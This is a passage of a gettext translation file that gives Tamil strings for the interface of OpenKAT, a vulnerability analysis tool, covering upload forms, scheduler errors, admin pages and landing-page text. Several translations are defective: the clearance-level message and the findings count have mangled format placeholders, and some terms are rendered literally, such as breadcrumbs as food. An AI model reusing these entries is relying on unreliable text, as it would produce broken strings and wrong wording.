\"\nmsgstr \"\"\n\"இந்த போஃப்சே எப்போது பொருள்களை வருடு செய்யும் என்பதைத் தேர்வுசெய்க. இது ஒரு குறிப்பிட்ட \"\n\"இடைவெளியில் இயங்க முடியும் அல்லது ஒவ்வொரு முறையும் ஒரு பொருள் உருவாக்கப்பட்ட அல்லது \"\n\"மாற்றப்படும்போது அது இயக்க முடியும். \"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"மரத்தின் ஆழம்.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"சி.எச்.வி கோப்பு மட்டுமே ஆதரிக்கப்பட்டது\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"கோப்பை டிகோட் செய்ய முடியவில்லை\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"எந்த கோப்பும் தேர்ந்தெடுக்கப்படவில்லை\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"பதிவேற்றிய கோப்பு காலியாக உள்ளது.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"நெடுவரிசைகளின் எண்ணிக்கை தேவைகளை நிறைவு செய்யாது.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"காபிம இல் OOI வகை அளவுகோல்களை நிறைவு செய்யவில்லை.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"காபிம கோப்பின் பாகுபடுத்தலின் போது பிழை ஏற்பட்டது:\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"காபிம கோப்பைப் பதிவேற்றவும்\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"காபிம கோப்பை மட்டுமே ஏற்றுக்கொள்கிறது.\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"பொருள் வகை\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"எந்த பொருள்களைச் சேர்க்கலாம் என்பதைத் தேர்வுசெய்க.\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"மைம் வகைகள்\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\"<p> காற்புள்ளிகளால் பிரிக்கப்பட்ட மைம் வகைகளின் தொகுப்பைச் சேர்க்கவும், எடுத்துக்காட்டாக: </\"\n\"p> <p> <i> \\\"உரை/HTML, படம்/jpeg\\\" </i> அல்லது <i> \\\"போஃப்சே/டிஎன்எச்-ரெக்கார்ட்ச் \"\n\"\\\"</i>. </p> <p> சரியான இயல்பானதியை ஒரு மூல கோப்புடன் பொருத்த MIME வகைகள் \"\n\"பயன்படுத்தப்படுகின்றன. MIME வகை \\\"போஃப்சே/டிஎன்எச்-ரெக்கார்ட்ச்\\\" சேர்க்கப்படும்போது, மூல \"\n\"கோப்பில் டிஎன்எச் ச்கேன் செய்தி இருக்கும் என்று இயல்பானவர் எதிர்பார்க்கிறார். </p>\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"மூல கோப்பைப் பதிவேற்றவும்\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"உள்ளீடு அல்லது வருடு OOI\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\"கிடைக்கக்கூடிய விருப்பங்களில் ஒன்றைத் தேர்ந்தெடுக்க சொடுக்கு செய்க, அல்லது ஒன்றை நீங்களே \"\n\"தட்டச்சு செய்க\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"OOI இல்லை, மற்றொரு செல்லுபடியாகும் நேரத்தை முயற்சிக்கவும்\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\"இந்த நிறுவனக் குறியீடு OpenKAT ஆல் ஒதுக்கப்பட்டுள்ளது, மேலும் பயன்படுத்த முடியாது. \"\n\"மற்றொரு நிறுவன குறியீட்டைத் தேர்வுசெய்க.\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"புதிய\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"தெரியாத பயனர்\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"உறுப்பினர்கள்\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"தற்போதைய நிலை\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"செயலில்\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"புதிய\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"கணக்கு நிலை\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"தடுக்கப்படவில்லை\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\"இந்த உறுப்பினரை l {of இன் இசைவு மட்டத்துடன் நம்பியுள்ளீர்கள். இந்த உறுப்பினருக்கு சரியான \"\n\"ஆன் போர்டிங் செய்ய குறைந்தபட்சம் எல்} of இன் இசைவு நிலை தேவை. இந்த உறுப்பினரைத் திருத்தி, \"\n\"தேவைப்பட்டால் இசைவு அளவை மாற்றவும்.\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"அந்த பக்க எண் ஒரு முழு எண் அல்ல\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"அந்த பக்க எண் 1 க்கும் குறைவாக உள்ளது\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"அந்த பக்கத்தில் எந்த முடிவுகளும் இல்லை\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\"திட்டமிடுபவருக்கு எதிர்பாராத பிழை உள்ளது. மேலும் விவரங்களுக்கு திட்டமிடல் பதிவுகளை \"\n\"சரிபார்க்கவும்.\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"திட்டமிடுபவருடன் இணைக்க முடியவில்லை. பணி குறைந்துவிட்டது.\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"உங்கள் கோரிக்கையை சரிபார்க்க முடியவில்லை.\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"பணியைக் கண்டுபிடிக்க முடியவில்லை.\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\"திட்டமிடுபவர் பல கோரிக்கைகளைப் பெறுகிறார். திட்டமிடல்_பொய்க்_மாக்சை அதிகரிக்கவும் அல்லது \"\n\"பணி முடிவடையும் வரை காத்திருக்கவும்.\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"மோசமான கோரிக்கை. உங்கள் கோரிக்கையை திட்டமிடுபவரால் விளக்க முடியவில்லை.\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"திட்டமிடுபவர் ஒரு மோதலைப் பெற்றுள்ளார். உங்கள் பணி ஏற்கனவே வரிசையில் உள்ளது.\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"ஒரு httperror ஏற்பட்டது. மேலும் தகவலுக்கு திட்டமிடல் பதிவுகளைப் பார்க்கவும்.\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"அட்டவணை பட்டியல்: \"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"பணி பட்டியல்: \"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"நீல ஒளி\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"நீல நடுத்தர\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"நீல இருண்ட\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"பச்சை விளக்கு\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"பச்சை நடுத்தர\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"பச்சை இருண்ட\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"மஞ்சள் ஒளி\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"மஞ்சள் நடுத்தர\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"மஞ்சள் இருண்ட\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"ஆரஞ்சு ஒளி\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"ஆரஞ்சு ஊடகம்\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"ஆரஞ்சு இருண்ட\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"சிவப்பு விளக்கு\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"சிவப்பு நடுத்தர\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"சிவப்பு இருண்ட\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"வயலட் ஒளி\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"வயலட் நடுத்தர\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"வயலட் இருண்ட\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"வெற்று\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"திடமான\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"கோடு\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"புள்ளியிடப்பட்ட\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"பிழை குறியீடு 403: அங்கீகரிக்கப்படாதது\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"இந்த பக்கத்தை அல்லது அமைப்பை அணுக உங்கள் கணக்கு ஏற்பு இல்லை.\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"உங்கள் கணினி நிர்வாகியை தொடர்பு கொள்ளவும்.\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"நீங்கள் மீண்டும் செல்ல விரும்பலாம்\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"நெருக்கடி அறை\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"பிழைக் குறியீடு 404: பக்கம் கிடைக்கவில்லை\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"நீங்கள் பார்க்க விரும்பிய பக்கம் அல்லது நீங்கள் பார்க்க விரும்பிய கோப்பு கிடைக்கவில்லை.\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"முக்கிய உள்ளடக்கத்திற்கு செல்லவும்\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"வரவேற்கிறோம்,\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"தளத்தைக் காண்க\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"ஆவணப்படுத்துதல்\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"கடவுச்சொல்லை மாற்றவும்\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"விடுபதிகை\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"பிரட்தூள்களில் நனைக்கப்பட்டு\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"வீடு\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"%(name)s சேர்க்கவும்\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"கீழே உள்ள பிழையை சரிசெய்யவும்.\"\nmsgstr[1] \"கீழே உள்ள பிழைகளை சரிசெய்யவும்.\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"வடிப்பி\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"எண்ணிக்கையை மறைக்கவும்\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"எண்ணிக்கையைக் காட்டு\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"அனைத்து வடிப்பான்களையும் அழிக்கவும்\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\"%(object_name)s '%(escaped_object)s' ஐ நீக்குவது தொடர்புடைய பொருள்களை நீக்குவதற்கு \"\n\"வழிவகுக்கும், ஆனால் பின்வரும் வகை பொருள்களை நீக்க உங்கள் கணக்கில் இசைவு இல்லை\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\"%(object_name)s ' %(escaped_object)s' ஐ நீக்குவதற்கு பின்வரும் பாதுகாக்கப்பட்ட \"\n\"தொடர்புடைய பொருள்களை நீக்க வேண்டும்\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\"%(object_name)s \\\"%(escaped_object)s\\\" ஐ நீக்க விரும்புகிறீர்களா? பின்வரும் \"\n\"தொடர்புடைய உருப்படிகள் அனைத்தும் நீக்கப்படும்\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"ஆம், நான் உறுதியாக நம்புகிறேன்\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"இல்லை, என்னை திரும்ப அழைத்துச் செல்லுங்கள்\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"பல பொருள்களை நீக்கவும்\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட %(objects_name)s நீக்குவது தொடர்புடைய பொருள்களை நீக்குவதற்கு \"\n\"வழிவகுக்கும், ஆனால் பின்வரும் வகை பொருள்களை நீக்க உங்கள் கணக்கில் இசைவு இல்லை\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட %(objects_name)s நீக்குவதற்கு பின்வரும் பாதுகாக்கப்பட்ட தொடர்புடைய \"\n\"பொருள்களை நீக்க வேண்டும்\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட %(objects_name)s நீக்க விரும்புகிறீர்களா? பின்வரும் பொருள்கள் மற்றும் \"\n\"அவற்றுடன் தொடர்புடைய உருப்படிகள் அனைத்தும் நீக்கப்படும்\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"பாப்அப் நிறைவு…\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"பட்டியல் மூடு\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"முதன்மையான வழிசெலுத்தல்\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"இழப்பீடுகள்\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"வெளியேற்றம்\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"வரவேற்கிறோம்\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"பயனர் கண்ணோட்டம்\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"எச்சரிக்கை\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"எச்சரிக்கை:\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"நிறுவன குறியீடு இல்லை\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"கண்டுபிடிப்பு வகையைச் சேர்க்கவும்\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"வகை கண்டுபிடிப்பு\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"கண்டுபிடிப்பைச் சேர்க்கவும்\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"கண்டுபிடிப்புகள் @ \"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\"அமைப்பு <strong>%(organization_name)s </strong> க்கான அனைத்து கண்டுபிடிப்புகளின் \"\n\"கண்ணோட்டம். ஒவ்வொரு கண்டுபிடிப்பும் ஒரு பொருளுடன் தொடர்புடையது. கூடுதல் தகவலுக்கு \"\n\"கண்டுபிடிப்பைக் சொடுக்கு செய்க.\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"%(length)sண்டுபிடிப்புகளின் %(total)s\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"முடக்கு கண்டுபிடிப்புகள்\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"கண்டுபிடிப்புகள் ஒலிக்கவும்\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"வடிப்பான்களை அமைக்கவும்\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"தெளிவான வடிப்பான்கள்\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"தனியுரிமை அறிக்கை\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\"மரத்தை வீழ்த்த / விரிவாக்க ஒரு வட்டத்தைக் சொடுக்கு செய்து, அந்த OOI இலிருந்து மரத்தைக் காண \"\n\"உரையைக் சொடுக்கு செய்து விவரங்களைக் காண உரையின் மீது வட்டமிடுங்கள்.\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"மர வரைபடம்\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"பட்டியல்\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"OpenKAT லோகோ, OpenKat இன் முகப்புப்பக்கத்திற்குச் செல்லுங்கள்\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"பணிகள்\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"சுகாதார சோதனைகள்\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"நலம் சோதனைகள்\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"கூடுதல்\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"இழப்பீடு\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\"தற்போதுள்ள அமைப்பு மீது இழப்பீடு. நீங்கள் இப்போது பொருட்களைச் சேர்த்து ச்கேன் செய்யத் தொடங்கலாம்.\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"பொருள்களுக்குச் செல்லுங்கள்\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"செல்\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"OpenKat க்கு வருக\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"பாதிப்புகள் பகுப்பாய்வு கருவி\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"ஓபன்காட் என்றால் என்ன?\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\"ஓபன்காட் ஒரு பாதிப்பு பகுப்பாய்வு கருவியாகும். உங்கள் மற்றும் எங்கள் உலகத்தை \"\n\"பாதுகாப்பானதாக்க சுகாதார, நலன்புரி மற்றும் விளையாட்டு அமைச்சகம் உருவாக்கிய ஒரு திறந்த \"\n\"மூல-திட்டம்.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"ஓபன்காட் பார்க்கிறது\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"ஓபன்காட் தெரியும்\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\"ஓபன்காட் மறக்கவில்லை (அப்படி), மீண்டும் ச்கேன் செய்யாமல் வினவப்படலாம். ஒரு வரலாற்று நிலைமை \"\n\"பற்றியும்.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"ஓபன்காட் பாதுகாப்பானது\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"தடயமளித்த ஆதாரங்களை சேமிப்பது என்பது OpenKAT இன் அடிப்படை பொருட்களில் ஒன்றாகும்.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"ஓபன்காட் இனிமையானது\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\"ஓபன்காட் தனியுரிமையைப் பற்றி சிந்திக்கிறார், மேலும் உங்கள் அமைப்பு மற்றும் சட்டத்தின் \"\n\"விதிகளுக்குள் தேவையானதை சேமிக்கிறார்.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"ஒரு பரந்த விளையாட்டு மைதானம்\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\"ஒருங்கிணைந்த கருவிகளின் மூலம் உண்மையான யதார்த்தத்தின் நகலை ஓபன்காட் உருவாக்குகிறது. இந்த \"\n\"நகலுக்குள் நீங்கள் எண்ணற்ற பாதுகாப்பு மற்றும் கொள்கை கேள்விகளுக்கான பதில்களைத் தேடலாம். \"\n\"உலகில் எதிர்பார்க்கப்படும் மற்றும் எதிர்பாராத மாற்றங்கள் காணப்படுகின்றன, மேலும் தேவையான \"\n\"இடங்களில் சரியான நபர்களுக்கு நேரடியாக அறிவிக்கப்பட்ட அல்லது அறியப்படுகின்றன.\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"OpenKat தனியுரிமை அறிக்கை\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\"ஓபன்காட் அதற்கு ஒப்படைக்கப்பட்ட தகவல்களின் ரகசியத்தன்மையையும் தனியுரிமையையும் பாதுகாக்க \"\n\"அர்ப்பணிக்கப்பட்டுள்ளது. இந்த அடிப்படைக் கடமையின் ஒரு பகுதியாக, ஆன்லைனில் சேகரிக்கப்பட்ட \"\n\"தனிப்பட்ட தகவல்களின் (சில நேரங்களில் \\\"தனிப்பட்ட தரவு\\\", \\\"தனிப்பட்ட முறையில் அடையாளம் \"\n\"காணக்கூடிய செய்தி\\\" அல்லது \\\"PII\\\" என குறிப்பிடப்படும்) பொருத்தமான பாதுகாப்பு மற்றும் \"\n\"பயன்பாட்டிற்கு OpenKAT உறுதியளிக்கிறது.\"\n\n#: 